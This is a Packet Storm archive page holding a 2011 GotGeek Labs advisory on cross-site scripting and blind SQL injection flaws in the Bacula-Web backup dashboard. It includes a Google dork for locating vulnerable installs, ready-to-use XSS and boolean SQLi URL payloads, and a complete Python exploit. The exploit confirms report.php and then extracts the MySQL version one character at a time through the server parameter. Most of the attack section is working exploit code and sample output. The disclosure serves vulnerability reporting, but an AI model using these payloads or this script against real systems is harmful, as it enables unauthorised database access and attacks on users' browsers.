what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Bacula-Web 1.3.x Cross Site Scripting / SQL Injection

Bacula-Web 1.3.x Cross Site Scripting / SQL Injection
Posted Mar 7, 2011
Authored by b0telh0 | Site gotgeek.com.br

Bacula-Web version 1.3.x suffers from cross site scripting and remote SQL injection vulnerabilities.

tags | exploit, remote, web, vulnerability, xss, sql injection
SHA-256 | 8520e8634856fdeac1d116ce357046e9e71e330d64c10961a630f3b20e4c18cb

Bacula-Web 1.3.x Cross Site Scripting / SQL Injection

Change Mirror Download
GotGeek Labs
http://www.gotgeek.com.br/

Bacula-web 1.3.x - 5.0.3 Multiple Remote Vulnerabilities



[+] Description

Bacula-Web is a web based tool that provide you a summarized
view of your bacula director.
It obtain his information from your bacula catalog's database.
It provide some usefull informations such as:
* Last 24 hours jobs status (completed, failed, waiting, etc.)
* Medias and Pool usage
* Last 7 days storage usage

The main advantages of this tool are
* it's web based, so you can reach it simply through your
preferred browser from anywhere
* it's pretty easy to install (you just need a LAMP server with
a valid Bacula catalog database connection)
* it contain a lot of information into a single page (have a
look on your last jobs for example)

This is a fairly high level Bacula management tool.



[+] Information

Title: Bacula-web 1.3.x - 5.0.3 Multiple Remote Vulnerabilities
Google Dork: intitle:bacula-web "Status"
Advisory: gg-004-2011
Date: 02-22-2011
Last update: 03-04-2011
Link: http://www.gotgeek.com.br/pocs/gg-004-2011.txt
Tested on: FreeBSD 7.2-RELEASE + MySQL 5.x



[+] Vulnerabilities

Cross-site Scripting:
Bacula-web is affected by cross-site scripting vulnerability because
it fails to properly sanitize user-supplied input.
An attacker may leverage this issue to execute arbitrary script code
in the browser of an unsuspecting user in the context of the affected site.

XSS:
http://target/bacula/report.php?default=1&server=Backup_inc<script>alert("xss")</script>

Blind SQL Injection:
Bacula-web is also affected by blind SQL injection vulnerability because it fails
to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting these issues could allow an attacker to compromise the
application, access or modify data, or exploit latent vulnerabilities
in the underlying database.

*Blind SQLi:
http://target/bacula/report.php?default=1&server=Backup_inc' and 1='2 #FALSE
http://target/bacula/report.php?default=1&server=Backup_inc' and 1='1 #TRUE

*Need a valid job name at server variable with some data to get false or true page.


Affected Versions:
(1)Bacula-web 5.0.3
(2)Bacula-web 1.38.9_1 (FreeBSD)

Other versions may also be vulnerable.



[+] Proof of Concept/Exploit

# $ python bacula-web.py -t 10.1.1.1 -d /bacula/ -j Backup_inc -p 80
#
# [*] gotgeek labs
# [*] http://gotgeek.com.br
#
#
# [*] Checking report.php...
# [+] Found!
# [*] Let's get MySQL version.. Wait a moment...
# [+] MySQL: 5.0.84
#
# [*]Done!


#!/usr/bin/python
#

import sys
import httplib, socket
import urllib, re
from optparse import OptionParser

# You may also use "MB".. Check your target before!
truestr = "GB"
usage = "./%prog -t <target> -d <dir> -j <job> -p <port>\n"
usage+= "Example: ./%prog -t www.example.com -d /bacula-web/ -j BackupCatalog -p 80"

parser = OptionParser(usage=usage)
parser.add_option("-t", action="store", dest="target",
help="target server")
parser.add_option("-d", action="store", dest="dir",
help="path to bacula-web")
parser.add_option("-j", action="store", dest="job",
help="bacula job name")
parser.add_option("-p", action="store", dest="port",
help="server port")
(options, args) = parser.parse_args()

def banner():
print "\n[*] gotgeek labs"
print "[*] http://gotgeek.com.br\n\n"

if len(sys.argv) < 5:
banner()
parser.print_help()
sys.exit(1)


def checkurl():
try:
print "[*] Checking report.php..."
conn = httplib.HTTPConnection(options.target+":"+options.port)
conn.request("GET", options.dir + "report.php")
r1 = conn.getresponse()
if r1.status == 200:
print "[+] Found!"
else:
print "[-] NOT Found!\n\n"
sys.exit(1)
except socket.error, msg:
print "[-] Can't connect to the target!\n\n"
sys.exit(1)


def geturl(sqli):
try:
check = urllib.urlopen("http://"+options.target+":"+options.port+options.dir+sqli).read()
except:
print "[-] Can't connect to the target!\n\n"
sys.exit(1)
return check


def getmysql(gg):
for i in range(43,58):
request = ("report.php?default=1&server="+options.job+"'%20and%20ascii(substring(@@version,"+str(gg)+",1))='"+str(i))
result = geturl(request)
if re.search(truestr,result):
gg = gg+1
sys.stdout.write(chr(i))
sys.stdout.flush()
getmysql(gg)
break



def main():
gg = 1
banner()
checkurl()
print "[*] Let's get MySQL version.. Wait a moment..."
sys.stdout.write("[+] MySQL: ")
getmysql(gg)
print "\n\n[*]Done!\n\n"

if __name__ == "__main__":
main()



[+] References

(1)http://bacula-web.dflc.ch/index.php/home.html
(2)http://www.freshports.org/www/bacula-web/



[+] Credits

b0telh0
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close